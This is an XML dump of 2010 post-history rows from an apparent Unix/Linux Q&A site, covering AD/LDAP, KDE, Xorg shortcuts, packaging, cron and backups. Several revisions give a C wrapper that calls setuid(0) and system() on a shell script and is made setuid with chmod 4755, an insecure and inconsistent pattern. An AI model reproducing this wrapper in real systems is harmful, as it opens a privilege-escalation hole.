  <row Id="670" PostHistoryTypeId="2" PostId="369" RevisionGUID="e55835e8-a266-4a06-b64c-54938ea5e420" CreationDate="2010-08-12T05:20:21.190" UserId="57" Text="One way of solving this problem is to call the shell script from a program that can use the setuid bit.  &#xD;&#xA;For example, here is how you would accomplish this in a C program:&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;sys/types.h&gt;&#xD;&#xA;    #include &lt;unistd.h&gt;&#xD;&#xA;&#xD;&#xA;    int main()&#xD;&#xA;    {&#xD;&#xA;        setuid( 0 );   // you can set it at run time also&#xD;&#xA;        system( &quot;/home/pubuntu/setuid-test2.sh&quot; );&#xD;&#xA;        return 0;&#xD;&#xA;     }&#xD;&#xA;&#xD;&#xA;Save it as setuid-test2.c.   &#xD;&#xA;compile   &#xD;&#xA;Now do the setuid on this program binary:  &#xD;&#xA;su - nobody   &#xD;&#xA;[enter password]  &#xD;&#xA;chown nobody:nobody a.out  &#xD;&#xA;chmod 4755 a.out  &#xD;&#xA;Now, you should be able to run it, and you'll see your script being executed with nobody permissions  &#xD;&#xA;I hope this will help" />
  <row Id="671" PostHistoryTypeId="5" PostId="369" RevisionGUID="b736c373-1f74-40ff-87d6-2d88d450f617" CreationDate="2010-08-12T05:27:41.427" UserId="57" Comment="added 26 characters in body" Text="One way of solving this problem is to call the shell script from a program that can use the setuid bit.  &#xD;&#xA;its something like sudo.&#xD;&#xA;For example, here is how you would accomplish this in a C program:&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;sys/types.h&gt;&#xD;&#xA;    #include &lt;unistd.h&gt;&#xD;&#xA;&#xD;&#xA;    int main()&#xD;&#xA;    {&#xD;&#xA;        setuid( 0 );   // you can set it at run time also&#xD;&#xA;        system( &quot;/home/pubuntu/setuid-test2.sh&quot; );&#xD;&#xA;        return 0;&#xD;&#xA;     }&#xD;&#xA;&#xD;&#xA;Save it as setuid-test2.c.   &#xD;&#xA;compile   &#xD;&#xA;Now do the setuid on this program binary:  &#xD;&#xA;su - nobody   &#xD;&#xA;[enter password]  &#xD;&#xA;chown nobody:nobody a.out  &#xD;&#xA;chmod 4755 a.out  &#xD;&#xA;Now, you should be able to run it, and you'll see your script being executed with nobody permissions  &#xD;&#xA;I hope this will help" />
  <row Id="672" PostHistoryTypeId="5" PostId="369" RevisionGUID="ba44b7fe-49f7-42ef-b158-82257e0d1da2" CreationDate="2010-08-12T05:32:41.967" UserId="57" Comment="added 104 characters in body; added 3 characters in body" Text="One way of solving this problem is to call the shell script from a program that can use the setuid bit.  &#xD;&#xA;its something like sudo.&#xD;&#xA;For example, here is how you would accomplish this in a C program:&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;sys/types.h&gt;&#xD;&#xA;    #include &lt;unistd.h&gt;&#xD;&#xA;&#xD;&#xA;    int main()&#xD;&#xA;    {&#xD;&#xA;        setuid( 0 );   // you can set it at run time also&#xD;&#xA;        system( &quot;/home/pubuntu/setuid-test2.sh&quot; );&#xD;&#xA;        return 0;&#xD;&#xA;     }&#xD;&#xA;&#xD;&#xA;Save it as setuid-test2.c.   &#xD;&#xA;compile   &#xD;&#xA;Now do the setuid on this program binary:  &#xD;&#xA;su - nobody   &#xD;&#xA;[enter password]  &#xD;&#xA;chown nobody:nobody a.out  &#xD;&#xA;chmod 4755 a.out  &#xD;&#xA;Now, you should be able to run it, and you'll see your script being executed with nobody permissions.  &#xD;&#xA;But here also either you need to hardcode the script path or pass it as command line arg to above exe.  &#xD;&#xA;I hope this will help" />
  <row Id="673" PostHistoryTypeId="2" PostId="370" RevisionGUID="73e4c4cb-de29-40df-9cdc-8519de42ee3f" CreationDate="2010-08-12T06:35:25.260" UserId="48" Text="Not exactly AD, but I got a nice answer to a similar question over here:&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/333/what-is-the-equivalent-of-active-directory-on-linux/338#338" />
  <row Id="674" PostHistoryTypeId="2" PostId="371" RevisionGUID="e917bc7b-70a3-402b-9e4c-3fa5ff49f5dd" CreationDate="2010-08-12T06:38:19.653" UserId="272" Text="You can create an alias for sudo + the name of the script. Of course, that is even more work to set up, since you then have to setup an alias, too, but it saves you from having to type sudo.&#xD;&#xA;&#xD;&#xA;But if you don't mind horrible security risks, use a setuid shell as the interpreter for the shell script. Don't know whether that'll work for you, but I guess it might.&#xD;&#xA;&#xD;&#xA;**Let me state that I advise against actually doing this, though.** I'm just mentioning it for educational purposes ;-)" />
  <row Id="675" PostHistoryTypeId="2" PostId="372" RevisionGUID="088bb448-4b45-488c-a7a2-a76d6365ce64" CreationDate="2010-08-12T06:47:53.237" UserId="272" Text="Because we are talking about AD, I am going to assume an enterprise environment here.&#xD;&#xA;&#xD;&#xA;I have a couple of hundred RHEL3, 4 and 5 boxes running with Active Directory based user-accounts. All of them run the same configuration, using nss_ldap and pam_krb5. It works brilliantly, it is supported by all commercial Linux vendors in the standard support option, because it uses out-of-the-box tools and it is rock solid. In the end, AD is just Kerberos and LDAP and and to vendors, those are standardized, easily supportable protocols.&#xD;&#xA;&#xD;&#xA;I have yet to run into a problem with this way of using AD that I cannot solve. Scott Lowe's documentation [here][1] helped me quite a bit when initially designing our solution. It's not perfect, but it'll help you get underway. Scott's idea is to create a bind account for LDAP, which I'm not that fond of. A machine that is joined in AD can do LDAP queries with its own credentials, which is a lot saner, if you ask me.&#xD;&#xA;&#xD;&#xA;Depending on your requirements, you might want to take a step back and consider whether you need a supported solution or not. Because nice as Likewise may be, it is fairly expensive. Using the tools that come with *every* Linux distro by default and are thus supported, might be a *tiny* bit more complicated (but that shouldn't scare off a good Linux admin) but is just as good (or maybe better, depending on your requirements).&#xD;&#xA;&#xD;&#xA;I could write up in a bit more detail about how I did this, but I don't have time for that right now. Would that be of help?&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.scottlowe.org/2007/01/15/linux-ad-integration-version-4/" />
  <row Id="676" PostHistoryTypeId="2" PostId="373" RevisionGUID="ff258679-17a3-46c1-89f3-94d8da880a4d" CreationDate="2010-08-12T06:49:11.503" UserId="29" Text="in [KDE SC 4.5.0][1] it's possible to use a webkit part for rendering in konqueror. I don't think it's on by default (could be wrong?) I believe I've installed all the requirements for it... how do I enable it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kde.org/announcements/4.5/platform.php" />
  <row Id="677" PostHistoryTypeId="1" PostId="373" RevisionGUID="ff258679-17a3-46c1-89f3-94d8da880a4d" CreationDate="2010-08-12T06:49:11.503" UserId="29" Text="Enable kwebkitpart in Konqueror" />
  <row Id="678" PostHistoryTypeId="3" PostId="373" RevisionGUID="ff258679-17a3-46c1-89f3-94d8da880a4d" CreationDate="2010-08-12T06:49:11.503" UserId="29" Text="ékdeàéarchölinuxàésettingsà" />
  <row Id="679" PostHistoryTypeId="2" PostId="374" RevisionGUID="6b9df1e1-1fe6-4634-9939-85f15ebfefcb" CreationDate="2010-08-12T06:55:48.230" UserId="252" Text="Most routers/firewalls allow to redirect traffic based on a certain port, e.g. all SMTP traffic (port 25) is redirected to 192.168.1.1.&#xD;&#xA;&#xD;&#xA;But if you have multiple servers to handle your traffic (1 server per domain). You need to install something like a reverse proxy ([nginx](http://nginx.org) supports this for HTTP, IMAP, POP3).&#xD;&#xA;For instance, all traffic to port 80 is redirected to `192.168.1.2` which runs nginx and depending on the host name will redirect to either `localhost` or `192.168.1.4`." />
  <row Id="680" PostHistoryTypeId="2" PostId="375" RevisionGUID="2742580e-8eff-431c-ab25-844b905395e5" CreationDate="2010-08-12T07:09:32.113" UserId="29" Text="I don't remember why they did this, but at one point X.org decided that disabling ctrl+alt+backspace to kill it was a good idea. I know there's a way to re-enable it but I don't remember how. Can someone refresh my memory?" />
  <row Id="681" PostHistoryTypeId="1" PostId="375" RevisionGUID="2742580e-8eff-431c-ab25-844b905395e5" CreationDate="2010-08-12T07:09:32.113" UserId="29" Text="Enable kill X.org with ctrl+alt+backspace" />
  <row Id="682" PostHistoryTypeId="3" PostId="375" RevisionGUID="2742580e-8eff-431c-ab25-844b905395e5" CreationDate="2010-08-12T07:09:32.113" UserId="29" Text="ésettingsàéxorgàékeyboardöshortcutsà" />
  <row Id="683" PostHistoryTypeId="2" PostId="376" RevisionGUID="7d50753c-7a1f-461a-ad45-d8551780bacf" CreationDate="2010-08-12T07:14:29.090" UserId="29" Text="Have you checked out [KDevelop 4][1] or [Kate][2]?&#xD;&#xA;&#xD;&#xA;Disclaimer: I don't develop mono and I haven't been able to get the vi bindings in kate to be good enough to replace vim yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kdevelop.org/&#xD;&#xA;  [2]: http://kate-editor.org/" />
  <row Id="684" PostHistoryTypeId="2" PostId="377" RevisionGUID="efe68e9a-8bd7-49b9-8201-a47356384255" CreationDate="2010-08-12T07:15:11.303" UserId="57" Text="you can try following ( I have tried it on my Ubuntu) :&#xD;&#xA;&#xD;&#xA;Add the following lines to your xorg.conf file, making sure that when you paste it, it is NOT using smart quotes.&#xD;&#xA;&#xD;&#xA;`sudo gksudo gedit /etc/X11/xorg.conf` &#xD;&#xA;&#xD;&#xA;    Section “ServerFlags”&#xD;&#xA;    Option “DontZap” “false”&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;you can also try dontzap tool&#xD;&#xA;&#xD;&#xA;`sudo apt-get install dontzap`&#xD;&#xA;&#xD;&#xA;Open Terminal and type to enable&#xD;&#xA;&#xD;&#xA;`sudo dontzap --enable`&#xD;&#xA;&#xD;&#xA;for disable&#xD;&#xA;&#xD;&#xA;`sudo dontzap --disable`" />
  <row Id="685" PostHistoryTypeId="2" PostId="378" RevisionGUID="a3f9b181-a290-4788-85ed-69234e08184e" CreationDate="2010-08-12T09:01:50.283" UserId="334" Text="I am looking for a succinct howto on the basics." />
  <row Id="686" PostHistoryTypeId="1" PostId="378" RevisionGUID="a3f9b181-a290-4788-85ed-69234e08184e" CreationDate="2010-08-12T09:01:50.283" UserId="334" Text="Where are some good guides for making packages (deb, rpm, etc)?" />
  <row Id="687" PostHistoryTypeId="3" PostId="378" RevisionGUID="a3f9b181-a290-4788-85ed-69234e08184e" CreationDate="2010-08-12T09:01:50.283" UserId="334" Text="épackagingà" />
  <row Id="688" PostHistoryTypeId="2" PostId="379" RevisionGUID="2e9581be-cef3-49b1-a79a-7cdbcaa4d505" CreationDate="2010-08-12T09:10:02.213" UserId="252" Text="I currently run a Windows server with Active Directory. But since we're no longer using Exchange 2007, it became a fancy file server with authentication.&#xD;&#xA;&#xD;&#xA;I would like to move the AD to a Linux server. What would be the best way to do this? And which LDAP server should I use?" />
  <row Id="689" PostHistoryTypeId="1" PostId="379" RevisionGUID="2e9581be-cef3-49b1-a79a-7cdbcaa4d505" CreationDate="2010-08-12T09:10:02.213" UserId="252" Text="How would you migrate from a Windows AD to a Linux LDAP server?" />
  <row Id="690" PostHistoryTypeId="3" PostId="379" RevisionGUID="2e9581be-cef3-49b1-a79a-7cdbcaa4d505" CreationDate="2010-08-12T09:10:02.213" UserId="252" Text="éldapàémigrationà" />
  <row Id="691" PostHistoryTypeId="5" PostId="285" RevisionGUID="95152e2b-a4d8-4a6c-99c5-1943e72f7841" CreationDate="2010-08-12T09:12:43.617" UserId="179" Comment="added 171 characters in body" Text="One final reason, less important than those given, is it can allow the PC to remain bootable if part of the disk is corrupted. The more partitions you have, the easier it will be to simply not mount the partition with the fault.&#xD;&#xA;&#xD;&#xA;This can be useful sometimes, but usually there's a better way anyway.&#xD;&#xA;&#xD;&#xA;EDIT: Another point: assuming Linux, using LVM can be a good way to avoid any potential problems, it makes it easy to resize &quot;partitions&quot; and add new space seemlessly." />
  <row Id="693" PostHistoryTypeId="2" PostId="381" RevisionGUID="ec2a3ad1-512a-4dc9-9701-10c66c268fbb" CreationDate="2010-08-12T09:18:58.423" UserId="179" Text="As other folks have said, you can use whatever tiling window manager tickles your fancy. Xmonad, however, is one of the few - AFAIK - which advertises GNOME integration and is widely used with it. Well, for some definition of &quot;widely&quot; I suppose." />
  <row Id="694" PostHistoryTypeId="2" PostId="382" RevisionGUID="69ed532a-691a-4630-aad9-596c7155644f" CreationDate="2010-08-12T09:24:17.943" UserId="179" Text="I love openSUSE, but have recently settled, hopefully temporarily back on Ubuntu as my desktop system. I did personally find openSUSE to be a little more buggy, though that could well be just a matter of bad luck. It also didn't support my webcam (an MS Lifecam) which Ubuntu does, but again, who knows.&#xD;&#xA;&#xD;&#xA;sudo can be set up to work however you want, but yes, by default it's a little different. Might be worth taking your config file with you for reference.&#xD;&#xA;&#xD;&#xA;In the default setup openSUSE has Novell's &quot;SLAB&quot;, their replacement for the standard GNOME menu, but both the standard GNOME menu and the one Ubuntu/Fedora use is available." />
  <row Id="695" PostHistoryTypeId="2" PostId="383" RevisionGUID="4fd38086-31ce-47ea-be0d-80374a26f8d9" CreationDate="2010-08-12T09:27:25.967" UserId="292" Text="You could try using the [ProxyPass][] directive under mod_proxy in Apache.&#xD;&#xA;&#xD;&#xA;So assuming you want to direct requests for `http://somedomain.com to an internal site hosted on `http://10.0.1.42`, you could try something like:`&#xD;&#xA;&#xD;&#xA;    # Withing your VirtualHost definition&#xD;&#xA;    ServerName somedomain.com&#xD;&#xA;    ProxyPass / http://10.0.1.42/&#xD;&#xA;    ProxyPassReverse / http://10.0.1.42&#xD;&#xA;&#xD;&#xA;[ProxyPass]: http://httpd.apache.org/docs/1.3/mod/mod_proxy.html#proxypass" />
  <row Id="696" PostHistoryTypeId="2" PostId="384" RevisionGUID="3a9908c4-fbe4-4637-9c00-19d8fb0b0a2a" CreationDate="2010-08-12T09:33:37.950" UserId="272" Text="Samba v.3 is able to be a NT4 style domain controller. If you had a AD server running for Exchange, that is not good enough.&#xD;&#xA;&#xD;&#xA;Samba v.4 *will* be able to be a Windows 2003 style domain controller, but is not done yet. Not by far.&#xD;&#xA;&#xD;&#xA;Next question would be: do you have any Windows clients left? If so, you have a problem. Windows is not as pluggable as Linux. While it is possible to change a certain dll file (I forgot the name) to authenticate against a generic KDC, Windows was built to work with AD and with AD alone. Anything else requires altering Windows system dll's. That sucks. &#xD;&#xA;&#xD;&#xA;If you do not have any Windows clients left, it becomes a lot easier. You can easily replace Windows AD with a combined Kerberos / LDAP solution. Kerberos kdc (Key Distribution Center) packages are in all distro's. LDAP servers are available in a lot of different forms. OpenLDAP server is in most distro's. A GUI based management tool for you LDAP directory is available from a lot of open source LDAP serers, like 389 and I think Apache DS too. &#xD;&#xA;&#xD;&#xA;I mentioned the [FreeIPA][1] project in this context in another thread as an integrated solution, but it is only for Linux.&#xD;&#xA;&#xD;&#xA;So, to make a long story short: do you have Windows clients on your network still?&#xD;&#xA;&#xD;&#xA;  [1]: http://freeipa.org/page/Main_Page" />
  <row Id="697" PostHistoryTypeId="2" PostId="385" RevisionGUID="54ac7100-ffdd-4bf9-832f-eef041593104" CreationDate="2010-08-12T09:34:38.713" UserId="220" Text="I know this is not how terminals work, but I find myself often wishing there was an easy way of using text (copying it, modifying it, etc) that is already on my terminal window history from some previous command output.&#xD;&#xA;&#xD;&#xA;I've imagined it like this:&#xD;&#xA;&#xD;&#xA;I'm at my bash shell about to enter a command and I realize I need to type something that is already on the screen a few lines above. I can reach for the mouse and select it, but I hate that. What I really wish at this moment is that my whole terminal became a giant Vim buffer, all of it: the prompts, the commands I've typed, and the output from those commands. Everything. And then I could jump a few lines up, maybe edit a little, and yank some text. Then, return to bash shell mode and paste whatever I yanked into the current command line. &#xD;&#xA;&#xD;&#xA;I know there are some options:&#xD;&#xA;&#xD;&#xA;* Naturally, pipe the text I need directly from some command's output to a file, or right to the next command. But for that, you have to plan in advance or re-execute the command from your history (supposing the output won't change between invocations).&#xD;&#xA;&#xD;&#xA;* To reach for the mouse and select the text to copy. Lame, annoying, I wish I hadn't to do that, (this isn't the GUI stackexchange site, is it? =)&#xD;&#xA;&#xD;&#xA;* To use my (Mac OS X) Terminal application's &quot;Export text as...&quot; option, and save the terminal text to a file. Then open the file and work with it. Almost, but why go through the step of saving to a file on disk?&#xD;&#xA;&#xD;&#xA;So the question is: What do you do in this situation? Is there any trick, tool, shell feature that could be useful in this scenario? Do you just resign yourself to use the mouse or re-type whatever you need to type?&#xD;&#xA;&#xD;&#xA;It might be that the problem is that I'm not doing things 'the unix way', but c'mon, this is 2010! and I cannot easily copy some text a few lines away from my cursor?&#xD;&#xA;" />
  <row Id="698" PostHistoryTypeId="1" PostId="385" RevisionGUID="54ac7100-ffdd-4bf9-832f-eef041593104" CreationDate="2010-08-12T09:34:38.713" UserId="220" Text="Using text from previous commands' output" />
  <row Id="699" PostHistoryTypeId="3" PostId="385" RevisionGUID="54ac7100-ffdd-4bf9-832f-eef041593104" CreationDate="2010-08-12T09:34:38.713" UserId="220" Text="éosxàécommandölineàébashà" />
  <row Id="700" PostHistoryTypeId="2" PostId="386" RevisionGUID="819712a2-be68-4d2e-b4f6-ae6785d56836" CreationDate="2010-08-12T09:40:47.390" UserId="272" Text="For RPM you can start with 'Maximum RPM' (download [here][1]), which is old, but very elaborate, a good place to start learning. There is also a [course][2] on IBM DeveloperWorks, which is more of a tutorial. &#xD;&#xA;&#xD;&#xA;Once you grasp the basics, you should try and read the packaging guidelines for Fedora or OpenSUSE (which are much alike), so you can see how packaging is actually done in real life.&#xD;&#xA;&#xD;&#xA;I know that Ubuntu had a packagers class on IRC a while back, but I don't know about its current status. Debian (and Ubuntu) packaging tutorials are abundant out there. For Debian, too, read their packaging guidelines to see how it is actually done.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.redhat.com/docs/books/max-rpm/&#xD;&#xA;  [2]: http://www.ibm.com/developerworks/library/l-rpm1/" />
  <row Id="701" PostHistoryTypeId="5" PostId="385" RevisionGUID="d11a6a37-cc12-4ed9-a779-41db09734c28" CreationDate="2010-08-12T09:42:57.343" UserId="220" Comment="deleted 2 characters in body" Text="I know this is not how terminals work, but I find myself often wishing there was an easy way of using text (copying it, modifying it, etc) that is already on my terminal window history from some previous command output.&#xD;&#xA;&#xD;&#xA;I've imagined it like this:&#xD;&#xA;&#xD;&#xA;I'm at my bash shell about to enter a command and I realize I need to type something that is already on the screen a few lines above. I can reach for the mouse and select it, but I hate that. What I really wish at this moment is that my whole terminal became a giant Vim buffer, all of it: the prompts, the commands I've typed, and the output from those commands. Everything. And then I could jump a few lines up, maybe edit a little, and yank some text. Then, return to bash shell mode and paste whatever I yanked into the current command line. &#xD;&#xA;&#xD;&#xA;I know there are some options:&#xD;&#xA;&#xD;&#xA;* Naturally, pipe the text I need directly from some command's output to a file, or right to the next command. But for that you have to plan in advance or re-execute the command from your history (supposing the output won't change between invocations).&#xD;&#xA;&#xD;&#xA;* To reach for the mouse and select the text to copy. Lame, annoying, I wish I hadn't to do that, (this isn't the GUI stackexchange site, is it? =)&#xD;&#xA;&#xD;&#xA;* To use my (Mac OS X) Terminal application's &quot;Export text as...&quot; option, and save the terminal text to a file. Then open the file and work with it. Almost, but why go through the step of saving to a file on disk?&#xD;&#xA;&#xD;&#xA;So the question is: What do you do in this situation? Is there any trick, tool, shell feature that could be useful in this scenario? Do you just resign yourself to use the mouse or re-type whatever you need to type?&#xD;&#xA;&#xD;&#xA;It might be that the problem is that I'm not doing things 'the unix way', but c'mon, this is 2010 and I cannot easily copy some text a few lines away from my cursor?&#xD;&#xA;" />
  <row Id="702" PostHistoryTypeId="5" PostId="373" RevisionGUID="d6fd91a9-b0cc-4f49-824a-08adfd981e05" CreationDate="2010-08-12T09:47:41.087" UserId="29" Comment="update with partial answer" Text="in [KDE SC 4.5.0][1] it's possible to use a webkit part for rendering in konqueror. I don't think it's on by default (could be wrong?) I believe I've installed all the requirements for it... how do I enable it?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;I figured out how to switch it...&#xD;&#xA;&#xD;&#xA;    View -&gt; View mode -&gt; webkit&#xD;&#xA;&#xD;&#xA;but you must be on a web page first. Problem is that this setting doesn't stick. I can't find a permanent setting, does one exist?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kde.org/announcements/4.5/platform.php" />
  <row Id="703" PostHistoryTypeId="6" PostId="373" RevisionGUID="d6fd91a9-b0cc-4f49-824a-08adfd981e05" CreationDate="2010-08-12T09:47:41.087" UserId="29" Comment="update with partial answer" Text="ékdeàésettingsàéarchölinuxà" />
  <row Id="704" PostHistoryTypeId="2" PostId="387" RevisionGUID="21675dc2-63d6-4c00-9bd7-baa02ccb3814" CreationDate="2010-08-12T09:52:26.077" UserId="98" Text="This isn't exactly what you want, and it does use an intermediary file on disk (I see no problem with that myself) but it does allow easy access to all previous output&#xD;&#xA;&#xD;&#xA;Use script (use -f to make sure it flushes every time) and you can have all the output in a file." />
  <row Id="705" PostHistoryTypeId="2" PostId="388" RevisionGUID="4a5cbc76-9fe9-44b6-be4b-39051f43e0b0" CreationDate="2010-08-12T09:55:54.953" UserId="76" Text="In emacs, [M-x shell][1] handle edition of previous output. You can easily copy paste previous commands output, or any part of your buffer, like a regular buffer. I am pretty sure there should be a vim equivalent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/emacs/manual/html_node/emacs/Interactive-Shell.html#Interactive-Shell" />
  <row Id="706" PostHistoryTypeId="5" PostId="387" RevisionGUID="b22d786b-5fa0-4278-b7f4-9591388e7c75" CreationDate="2010-08-12T09:58:09.443" UserId="98" Comment="added 281 characters in body" Text="You could use script (use -f to make sure it flushes every time) and you can have all the output in a file.&#xD;&#xA;&#xD;&#xA;Use a terminal multiplexer (screen, tmux etc). For instance, for screen&#xD;&#xA;http://web.mit.edu/gnu/doc/html/screen_11.html#&#xD;&#xA;&#xD;&#xA;&gt; Command: copy Enter copy/scrollback&#xD;&#xA;&gt; mode. This allows you to copy text&#xD;&#xA;&gt; from the current window and its&#xD;&#xA;&gt; history into the paste buffer. In this&#xD;&#xA;&gt; mode a vi-like full screen editor is&#xD;&#xA;&gt; active, with controls as outlined&#xD;&#xA;&gt; below.&#xD;&#xA;&#xD;&#xA;Other terminal multiplexers surely have more advanced capabilities.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="707" PostHistoryTypeId="2" PostId="389" RevisionGUID="728b49fb-e9c9-4507-9c9f-4b1c743cd1c0" CreationDate="2010-08-12T10:01:43.903" UserId="272" Text="The main reason for the major enterprisey distro's like Red Hat and I think Suse to use a separate /boot is that they use LVM by default and Grub cannot be used to boot from LVM. It is that simple. &#xD;&#xA;&#xD;&#xA;So if you want to use LVM, and that is a boon, you use a separate /boot. Personally, I think it is good practice to use both LVM and separate partitions for a host of things, like /var, /boot, /home and /tmp and even /usr on servers, for example in order to protect your root filesystem or data partitions from getting full." />
  <row Id="708" PostHistoryTypeId="2" PostId="390" RevisionGUID="d40bd2a3-27fd-4bbe-bbc2-1214947d8772" CreationDate="2010-08-12T10:28:42.477" UserId="76" Text="The [sound naming specification][1] is fairly complete at this point. However, the default GNOME sound theme is more limited: http://git.gnome.org/browse/gnome-sound-theme/tree/stereo.&#xD;&#xA;&#xD;&#xA;On GNOME, [libcanberra][2] is commonly used to play sound events.&#xD;&#xA;&#xD;&#xA;By adding custom file in `$XDG_DATA_DIRS/sounds`, you can customize your sound set.&#xD;&#xA;&#xD;&#xA;My theme is &quot;ubuntu&quot;, I can add a file: in `$HOME/.local/share/sounds/ubuntu/stereo/battery.oga`&#xD;&#xA;&#xD;&#xA;and test it with ex: `canberra-gtk-play -i battery-low`&#xD;&#xA;&#xD;&#xA;Read the specs and the gnome theme package for further informations. More themes are really welcome! &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://0pointer.de/public/sound-naming-spec.html&#xD;&#xA;  [2]: http://0pointer.de/lennart/projects/libcanberra/" />
  <row Id="709" PostHistoryTypeId="5" PostId="390" RevisionGUID="8d5da560-f3ff-40b8-bb7e-e22a8fa558b7" CreationDate="2010-08-12T10:48:53.937" UserId="76" Comment="added 4 characters in body" Text="The [sound naming specification][1] is fairly complete at this point. However, the default GNOME sound theme is more limited: http://git.gnome.org/browse/gnome-sound-theme/tree/stereo.&#xD;&#xA;&#xD;&#xA;On GNOME, [libcanberra][2] is commonly used to play sound events.&#xD;&#xA;&#xD;&#xA;By adding custom file in `$XDG_DATA_DIRS/sounds`, you can customize your sound set.&#xD;&#xA;&#xD;&#xA;My theme is &quot;ubuntu&quot;, I can add a file: in `$HOME/.local/share/sounds/ubuntu/stereo/battery-low.oga`&#xD;&#xA;&#xD;&#xA;and test it with ex: `canberra-gtk-play -i battery-low`&#xD;&#xA;&#xD;&#xA;Read the specs and the gnome theme package for further informations. More themes are really welcome! &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://0pointer.de/public/sound-naming-spec.html&#xD;&#xA;  [2]: http://0pointer.de/lennart/projects/libcanberra/" />
  <row Id="710" PostHistoryTypeId="5" PostId="390" RevisionGUID="1b04b2ea-32ae-4d86-a8e5-2675d42398b5" CreationDate="2010-08-12T10:55:34.007" UserId="76" Comment="added 280 characters in body" Text="The [sound naming specification][1] is fairly complete at this point. However, the default [GNOME][2] and [freedesktop sound theme][3] are not complete (and for some good reasons).&#xD;&#xA;&#xD;&#xA;On GNOME, [libcanberra][4] is commonly used to play sound events.&#xD;&#xA;&#xD;&#xA;By adding custom file in `$XDG_DATA_DIRS/sounds`, you can customize your sound set.&#xD;&#xA;&#xD;&#xA;My theme is &quot;ubuntu&quot;, I can add a file: in `$HOME/.local/share/sounds/ubuntu/stereo/battery-low.oga`&#xD;&#xA;&#xD;&#xA;and test it with ex: `canberra-gtk-play -i battery-low`&#xD;&#xA;&#xD;&#xA;Read the specs and the gnome theme package for further informations. More themes are welcome! We have been looking for help in the past, and [ubuntu as well][5] today.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://0pointer.de/public/sound-naming-spec.html&#xD;&#xA;  [2]: http://git.gnome.org/browse/gnome-sound-theme/tree/stereo&#xD;&#xA;  [3]: http://cgit.freedesktop.org/sound-theme-freedesktop/tree/stereo&#xD;&#xA;  [4]: http://0pointer.de/lennart/projects/libcanberra/&#xD;&#xA;  [5]: http://mikebuntu.blogspot.com/2010/08/ubuntu-needs-new-sound-theme.html" />
  <row Id="711" PostHistoryTypeId="5" PostId="343" RevisionGUID="5d1b35ca-dfb9-4f57-86ca-b0fdcd8a08f8" CreationDate="2010-08-12T11:42:10.217" UserId="274" Comment="amendments suggested by Warren and Stefan" Text="As others have pointed out, `cron` will email you the output of any program it runs (if there is any output). So, if you don't get any output, there are basically three possibilities:&#xD;&#xA;&#xD;&#xA;1. `crond` could not even start a shell for running the program or sending email&#xD;&#xA;2. `crond` had troubles mailing the output, or the mail was lost.&#xD;&#xA;3. the program did not produce any output (including error messages)&#xD;&#xA;&#xD;&#xA;Case 1. is very unlikely, but something should have been written in the cron logs.  Cron has an own reserved syslog facility, so you should have a look into `/etc/syslog.conf` (or the equivalent file in your distro) to see where messages of facility `cron` are sent.  Popular destinations include `/var/log/cron`, `/var/log/messages` and `/var/log/syslog`.&#xD;&#xA;&#xD;&#xA;In case 2., you should inspect the mailer daemon logs: messages from the Cron daemon usually appear as from `root@yourhost`.  You can use a `MAILTO=...` line in the crontab file to have cron send email to a specific address, which should make it easier to grep the mailer daemon logs.  For instance:&#xD;&#xA;&#xD;&#xA;    MAILTO=my.offsite.email@example.org&#xD;&#xA;    00 15 * * *  echo &quot;Just testing if crond sends email&quot;&#xD;&#xA;&#xD;&#xA;In case 3., you can test if the program was actually run by appending another command whose effect you can easily check: for instance,&#xD;&#xA;&#xD;&#xA;    00 15 * * * /a/command; touch /tmp/a_command_has_run&#xD;&#xA;&#xD;&#xA;so you can check if `crond` has actually run something by looking at&#xD;&#xA;the mtime of `/tmp/a_command_has_run`.&#xD;&#xA;" />
  <row Id="712" PostHistoryTypeId="2" PostId="391" RevisionGUID="dfc76e3d-7091-49fb-8a90-c8533bf95123" CreationDate="2010-08-12T11:45:13.987" UserId="97" Text="When using the tar utility to store files in backups one loses the extended ACLs.&#xD;&#xA;&#xD;&#xA;Is there some commonly used and not hackish solution (like: create a script that will recrate the ACLs from scratch) to preserve the ACLs?" />
  <row Id="713" PostHistoryTypeId="1" PostId="391" RevisionGUID="dfc76e3d-7091-49fb-8a90-c8533bf95123" CreationDate="2010-08-12T11:45:13.987" UserId="97" Text="What to use to backup files, preserving ACLs?" />
  <row Id="714" PostHistoryTypeId="3" PostId="391" RevisionGUID="dfc76e3d-7091-49fb-8a90-c8533bf95123" CreationDate="2010-08-12T11:45:13.987" UserId="97" Text="éaclàétaràébackupà" />
  <row Id="715" PostHistoryTypeId="2" PostId="392" RevisionGUID="360fd800-6148-4486-b5a9-291fa37bfcfa" CreationDate="2010-08-12T11:52:11.587" UserId="280" Text="Well, you have to emulate a serial port within the emulator of course and have that be accessible on the host. The guest OS should put something on its 'hardware serial port' like a login prompt via e.g., getty_ps.&#xD;&#xA;Now I personally haven't had to use it this way. Mostly the emulated serial port on the guest OS is used for debugging information (Haiku still uses that by default) and then it is captured by the emulator (like VMware) as a simple text-file to have the debug information available..&#xD;&#xA;I'll try here to get something running on the emulated serial console within qemu." />
